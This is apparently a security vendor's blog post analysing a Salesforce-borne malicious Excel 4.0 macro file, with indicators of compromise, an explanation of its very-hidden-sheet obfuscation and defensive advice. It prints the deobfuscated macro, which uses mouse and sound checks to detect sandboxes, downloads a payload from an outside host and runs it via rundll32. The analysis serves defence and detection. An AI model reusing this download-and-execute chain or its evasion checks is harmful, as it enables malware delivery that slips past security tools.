Overview.
Today we present a blog that combines two main trends: (i) The use of collaboration channels to spread malware (Salesforce) and (ii) The increase in attackers’ sophistication and evasion techniques.
In this case, the malicious actor tried to attack via the most popular CRM application in the world – Salesforce. This new “open vector” allows attackers a new way to infiltrate organizations. The attacker is even using the same content and attack methods they have perfected in “older” channels, such as email and simply adapted them.
What does make this incident so unique?
- The source: This is a Salesforce-borne attack. Unlike what CISO’s and IT teams might perceive, Salesforce is also a good way for attackers to penetrate organizations unnoticed.
- Anti-evasion techniques: The attack uses multiple evasion techniques to hide its malicious purpose. Among the used techniques are: code obfuscation, “sleepers” and other anti-sandbox techniques. (more details below)
- Inspired by email: this attack method was previously used in email-borne attacks. This means that the attackers already know that attacking with this technique can be highly effective as long as it reaches the end users.
What can you do to prevent this attack?
- Conduct pen-tests to asses where are the weakest entry points into your organization.
- Deploy security solutions across all channels. Trust attackers to successfully exploit any way in.
- Centralize all incidents in one location. Data collected from one channel can be used to prevent the attack from another channel. If you compartmentalize systems, your SOC is more likely to miss key incidents and waste time analyzing the same attack over and over.
- Educate yourself on Salesforce-based attacks. A good point to start with is this webinar.
You can also learn more in our guide to Salesforce security.
Malicious Technique.
A malware based on an excel file. The attack is similar to a previous sample we published in the “The Excel Puzzle” blog, as it uses the same concept of running malicious code by Excel 4.0 macro worksheets. However, this sample also exhibits some interesting obfuscation and anti-sandbox techniques.
IOCS.
- Filename: order 924.xls
- sha256: c3c2bcad73fd65d22e522a6d3a8fa538f69dd610e1c3a680ca234972402e054c
- sha1: 16713159afc619f0d2e50c267b10bf9662af5726
- md5: 5c0923670b9ab0d72be44f42a00db828
Analysis & Initial Execution.
As the previous sample, this attack also contains a hidden Excel 4.0 macro worksheet, named “vPGsSf8tir”. The cell “Q1” in that hidden sheet is marked as Auto_Open in the Excel spreadsheet Name Manager, hence executing that column as a macro.
Interestingly, we can’t reveal the hidden sheet manually by simply right clicking on the existing sheet and choosing unhide, as the hidden sheet is “very hidden”. To overcome this barrier, we can either manually edit the binary file, or execute a simple VBA code to alter the sheet visibility property for us.
By pressing Alt+F11 to get into the VBA editing screen, and then press Ctrl+G (or View -> Immediate) to get a box for running VBA lines of code. Execute the following code to reveal the hidden sheet:
For Each s In Sheets: s.Visible = True: Next
By doing that, we can now unveil the hidden sheet. The code is actually obfuscated. Columns A-P are composed of many cells that contain the =CHAR() function (which convert a number to a character). These CHAR() cells essentially hide the characters of the macro’s different functions invocations. The Q column, as previously mentioned, is the actual macro that starts at Q1. The macro starts with a collection of calls to the FORMULA() function, which concatenates columns A-P characters into actual formulas strings, and stores the results in column R.
For example, =FORMULA(A1&A2&A4&A5…&A43,R1) concatenates the characters from the first column and stores them as an actual formula in cell R1. Then the macro proceeds into hiding the spreadsheet (=WORKBOOK.HIDE(“vPGsSf8tir”,TRUE); Notice the “very hidden” parameter set to TRUE, which is what required our VBA “trick” from before to undo).
Finally, the macro jumps to cell R1 (=GOTO(R1)) to continue execution flow with our just created functions.
We have stripped the actual generated code from the FORMULA() cells to reveal the actual macro that starts at cell R1:
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH(“Windows”,GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\reg.exe”,”EXPORT HKCU\Software\Microsoft\Office\”&GET.WORKSPACE(2)&”\Excel\Security c:\users\public\1.reg /y”,0,5)
=WAIT(NOW()+”00:00:03″)
=FOPEN(“c:\users\public\1.reg”)
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE(“c:\users\public\1.reg”)
=IF(ISNUMBER(SEARCH(“0001”,R[-3]C)),CLOSE(FALSE),)
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,”https://ddfspwxrb.club/fb2g424g”,”c:\Users\Public\csg75ef.html”,0,0)
=IF(R[-1]C<0,CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,”https://ddfspwxrb.club/fb2g424g”,”c:\Users\Public\bwep5ef.html”,0,0),)
=ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it’s corrupt.”,2)
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\rundll32.exe”,”c:\Users\Public\csg75ef.html,DllRegisterServer”,0,5)
=CLOSE(FALSE)
The first two lines in the code are a particular highlight. These lines are actually an anti-evasion technique used to identify whether the file is facing a human or a machine (a sandbox). The GET.WORKSPACE() command gathers information about the properties of the environment. Each property is referenced by a number.
The documentation for the two investigated properties is as follows:
- 19: If a mouse is present, returns TRUE; otherwise, returns FALSE.
- 42: If your computer is capable of playing sounds, returns TRUE; otherwise, return FALSE.
These two properties, when being negative, are a fairly good indication for the malware to “understand” if it run inside a sandbox. Hence, the =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) statement basically means that if the code is running inside a sandbox, it needs to “bail-out”, and avoid continuing to the malicious parts of the macro. This allows the sample to evade some dynamic security products that lack the proper emulation of such characteristics.
Perception Point is not a “malware analysis” company (see more about how we’re different here) so we will not continue to analyze the rest of the macro, though it’s not complicated. Our main goal is to show highlight the anti-sandbox trick, which would have probably succeeded in bypassing most sandbox-based security solutions.
Summary.
The utilization of Excel 4.0 macros shows again how leveraging this aging Excel-specific technique can pose difficulties in intercepting the malware (and further analyzing it). Unless specific knowledge of such techniques is implemented in the security product in advance, there is a better chance that only a next-gen dynamic analysis will detect such an attack. Only solutions that implemented anti-evasion techniques in the core of their system will be able to intercept the attack well before it’s being downloaded and executed.
